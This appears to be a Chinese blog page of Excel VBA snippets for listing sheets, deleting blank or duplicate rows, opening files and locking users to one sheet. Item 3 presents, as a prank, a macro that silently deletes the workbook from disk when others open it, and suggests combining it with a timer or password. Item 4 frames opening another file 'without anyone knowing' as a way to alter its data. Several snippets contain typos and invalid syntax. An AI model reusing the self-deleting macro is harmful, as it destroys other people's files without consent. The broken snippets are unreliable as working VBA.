QINMS.com || 首页 ||
EXCEL是一个伟大的软件,VBA(Visual Basic for Applications)的自动化运行更是如虎添翼,如果你使用表格时总在不断的重复同样的内容,比如依照一个模板做很多很多的文件。修改成百上千个格式一样的文件,进行复杂的运算,或者你的工作表有成百上千条数据看得眼花缭乱,烦了的时候,就用用VBA吧。
在这里罗列一些执行特定功能的VBA代码(代码中出现'--'之后的部分是注解)。
1.历遍工作表
查询工作薄中所有的表格:
Sub one()--注:VBA里一个可以单独运行的过程,都以SUB开头,不区分大小写。
For I to worksheets.count--注,循环历遍所有表格。
str=str & workshees(i).name & vbcrLf
NEXT
Msgbox "工作簿中含有以下工作表:" &vbcrLf & str
End sub
或者还可以这样:
Sub two()
For each sht in worksheets
str=str & sht.name & vbcrLf
NEXT
Msgbox "工作簿中含有以下工作表:" &vbcrLf & str
End sub
2.删除空行
Sub aaa()
For i=r to 1 step -1
If rows(i).find("*",,xlvalne,,,2) is nothing then
Row (i).delete
End if
Next
End sub
若是删除重复的行,则可以这样:
Sub aaa()
For i=r to 1 step -1
if worksheetfunction.countif(sheet1.columns(1),sheet1.cells(I,1))>1 then
Row (i).delete
End if
Next
End sub
3.自杀代码
很好玩吧,别人一打开你的excel文件。它就自杀,没了。(当然,你打开一样)长配合时间函数或者密码使用。
Public Sub kill()
On Error Resume Next--忽略可能出现的错误继续运行。
Application.DisplayAlerts = False--不出现任何警告。
ThisWorkbook.ChangeFileAccess xlReadOnly
Kill ThisWorkbook.FullName
ThisWorkbook.close False
End Sub
4.打开指定文件
神不知鬼不觉的打开一个文件,就可以随意修改、调用里面的数据。
Workbook.open ThisWorkbook.Path & "\工作表.xlsx", , , , a --a为密码
5.限制选择其他工作表:
Private sub worksheet_deactivate()
Activesheet.activate
Msgbox "你无权访问其他表格",vbcritical +vbokonly,"警告"
end sub
6.插入行:
Activesheet.rows(r).insert
之前的r行向下移动